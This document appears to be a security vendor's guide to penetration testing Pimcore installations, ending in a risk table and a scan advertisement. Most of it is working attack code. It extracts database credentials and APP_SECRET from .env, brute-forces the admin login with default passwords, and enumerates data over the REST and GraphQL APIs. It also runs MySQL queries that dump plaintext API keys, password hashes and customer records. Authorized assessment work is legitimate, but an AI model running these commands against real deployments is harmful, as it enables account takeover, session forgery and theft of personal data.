Pimcore is an enterprise open-source PIM (Product Information Management), CMS, and DXP platform built on Symfony — used by large organizations to manage product catalogs, customer data, and digital assets. Key assessment areas: the .env file exposes MySQL DATABASE_URL credentials and APP_SECRET (Symfony secret key); admin credentials are frequently weak at /admin/; the REST API and GraphQL API expose data objects and assets; and the asset manager's file upload functionality may allow PHP webshell uploads. This guide covers systematic Pimcore security assessment.
# Pimcore — .env MySQL credential and APP_SECRET extraction
PIMCORE_URL="https://pimcore.example.com"
# .env — Pimcore/Symfony environment configuration (CRITICAL)
cat /var/www/pimcore/.env 2>/dev/null
# DATABASE_URL="mysql://pimcore:password@localhost/pimcore"
# APP_SECRET=abc123... <-- Symfony secret key (session cookie forgery)
# PIMCORE_INSTALL_ADMIN_PASSWORD=admin <-- installer password
# var/config/system.php or config/local.php (older Pimcore 5/6)
cat /var/www/pimcore/var/config/system.php 2>/dev/null | head -30
python3 -c "
import re, os
env_file = '/var/www/pimcore/.env'
content = open(env_file).read() if os.path.exists(env_file) else ''
patterns = {
'DATABASE_URL': r'DATABASE_URL=[\"\']*([^\s\"\']+)',
'APP_SECRET': r'APP_SECRET=[\"\']*([^\s\"\']+)',
'REDIS_URL': r'REDIS_URL=[\"\']*([^\s\"\']+)',
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:80]}')
" 2>/dev/null
# Test admin credentials at /admin/
for CRED in "admin:admin" "admin:pimcore" "pimcore:pimcore" "admin:Admin1234"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
TOKEN=$(curl -s -X POST "${PIMCORE_URL}/admin/login/check" \
-H "Content-Type: application/json" \
-d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('token',''))" 2>/dev/null)
[ -n "$TOKEN" ] && echo "SUCCESS: ${USER} — token: ${TOKEN:0:20}..." || echo "FAILED: ${USER}/${PASS}"
done
# Pimcore REST/Data API and GraphQL — token and endpoint assessment
PIMCORE_URL="https://pimcore.example.com"
# Pimcore REST API — admin token authentication
# POST /admin/login → returns pimcore_admin_sid session cookie
ADMIN_SID=$(curl -s -X POST "${PIMCORE_URL}/admin/login/check" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}' \
-c /tmp/pimcore_c 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('token',''))" 2>/dev/null)
# Enumerate data objects via REST API
curl -s "${PIMCORE_URL}/webservice/rest/object-list?condition=&limit=50&offset=0" \
-H "Authorization: Bearer ${ADMIN_SID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total objects: {d.get(\"total\")}')
for obj in d.get('data',[])[:5]:
print(f' id={obj.get(\"id\")} class={obj.get(\"className\")} key={obj.get(\"key\")}')
" 2>/dev/null
# Pimcore GraphQL API endpoint
curl -s -X POST "${PIMCORE_URL}/pimcore-graphql-webservices/default" \
-H "Content-Type: application/json" \
-H "X-API-Key: extracted-api-key" \
-d '{"query":"{ __schema { types { name } } }"}' 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
types = [t['name'] for t in d.get('data',{}).get('__schema',{}).get('types',[]) if not t['name'].startswith('__')]
print('Available types:', ', '.join(types[:20]))
" 2>/dev/null
# API keys stored in database — pimcore_users table
DB_URL="mysql://pimcore:extracted-password@localhost/pimcore"
mysql -u pimcore -p"extracted-password" pimcore 2>/dev/null << 'EOF'
-- Pimcore users (admin and API users)
SELECT u.id, u.username, u.email, u.password, u.admin, u.apiKey
FROM users u
WHERE u.type = 'user'
ORDER BY u.id
LIMIT 20;
-- apiKey: plaintext API key for REST/Data API access
-- password: SHA-512 or bcrypt hashed
EOF
# Pimcore MySQL database — data object and customer PII extraction
DB_PASS="extracted-password"
mysql -u pimcore -p"${DB_PASS}" pimcore 2>/dev/null << 'EOF'
-- List all data object classes (schema discovery)
SELECT c.id, c.name, c.description, c.modificationDate
FROM classes c
ORDER BY c.modificationDate DESC
LIMIT 20;
-- Each class has its own table: object_query_[class_id]
-- List all data objects with their paths
SELECT o.id, o.path, o.key, o.classname, o.published,
o.modificationDate
FROM objects o
WHERE o.published = 1
ORDER BY o.modificationDate DESC
LIMIT 30;
-- Customer data objects (if class named Customer exists)
-- Query the auto-generated object table
-- SELECT * FROM object_query_XX LIMIT 10; -- XX = class ID from classes table
-- Assets listing (files managed by Pimcore asset manager)
SELECT a.id, a.path, a.filename, a.filesize, a.mimetype,
a.modificationDate
FROM assets a
WHERE a.type = 'document'
OR a.mimetype LIKE 'application/pdf'
ORDER BY a.modificationDate DESC
LIMIT 20;
-- Users with API keys and admin status
SELECT u.username, u.email, u.apiKey, u.admin, u.active
FROM users u
WHERE u.active = 1 AND u.type = 'user'
ORDER BY u.admin DESC
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| .env DATABASE_URL MySQL credentials and APP_SECRET extraction | Read /var/www/pimcore/.env — MySQL credentials for all PIM data; APP_SECRET enables Symfony session cookie forgery as any user including administrators | Critical |
| Admin credential brute-force (admin/admin, admin/pimcore) | POST /admin/login/check — admin session token; full PIM data access, data object management, asset manager, user administration | High |
| REST API user API key extraction | MySQL SELECT apiKey FROM users — plaintext API keys; programmatic access to all data objects and assets at the user's permission level | High |
| Data object and customer PII extraction via REST API | GET /webservice/rest/object-list — all published data objects; customer, product, and content data based on installed Pimcore classes | High |
| GraphQL schema introspection and data enumeration | POST /pimcore-graphql-webservices/default with __schema query — full type system; targeted queries for customer and product data objects | Medium |
Ironimo tests Pimcore deployments for .env DATABASE_URL MySQL credential and APP_SECRET web exposure, admin/admin and admin/pimcore credential brute-force at /admin/login/check, REST API user API key plaintext extraction from users table, data object enumeration via /webservice/rest/object-list, GraphQL schema introspection at /pimcore-graphql-webservices/, asset manager file upload PHP execution assessment, users.password SHA-512 hash extraction, Symfony debug toolbar exposure (APP_DEBUG=true), PIMCORE_INSTALL_ADMIN_PASSWORD environment variable disclosure, and /admin/ IP restriction assessment.
Start free scan